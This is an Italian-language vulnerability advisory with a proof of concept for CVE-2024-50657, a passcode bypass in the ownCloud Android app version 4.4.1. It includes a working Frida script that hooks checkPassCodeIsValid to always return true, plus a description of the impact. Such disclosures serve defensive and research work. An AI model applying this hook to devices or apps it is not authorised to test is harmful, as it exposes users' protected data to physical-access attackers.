
Fornisce un proof-of-concept per CVE-2024-50657, una vulnerabilità di controllo degli accessi errato nell'app Android Owncloud, dimostrando il bypass del passcode tramite hooking con Frida.
Un problema in Owncloud android apk v.4.4.1 permette a un attaccante fisicamente vicino di aumentare i privilegi tramite la classe PassCodeViewModel, in particolare nel metodo checkPassCodeIsValid.
Controllo di Accesso Errato
Owncloud
Owncloud android apk - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
La classe PassCodeViewModel nell'applicazione gestisce la logica di verifica del codice di accesso. Il metodo checkPassCodeIsValid all'interno di questa classe è responsabile di determinare la validità del codice di accesso inserito.
Uno script Frida viene utilizzato per agganciare il metodo checkPassCodeIsValid nella classe PassCodeViewModel. L'implementazione del metodo viene alterata per restituire sempre vero, bypassando la reale validazione del codice di accesso.
Lo script Frida viene eseguito mentre l'app è in esecuzione. Qualsiasi codice di accesso inserito dall'utente verrà accettato come valido, consentendo accesso non autorizzato.
Java.perform(function() { // Locate the PassCodeViewModel class in the target application var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// Hook the checkPassCodeIsValid method to modify its behavior PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// Bypass the actual passcode check by always returning true return true;
};
});
Video POC Link : https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
Questa vulnerabilità è una vulnerabilità di bypass di sicurezza lato client. Colpisce gli utenti dell'applicazione che si affidano alla funzione di codice di accesso per proteggere dati sensibili o limitare l'accesso a determinate funzionalità dell'app. Sfruttando questa vulnerabilità, un attaccante può bypassare il controllo del codice di accesso e ottenere accesso non autorizzato ad aree dell'app che dovrebbero essere protette, potenzialmente esponendo dati utente o permettendo azioni non autorizzate all'interno dell'app.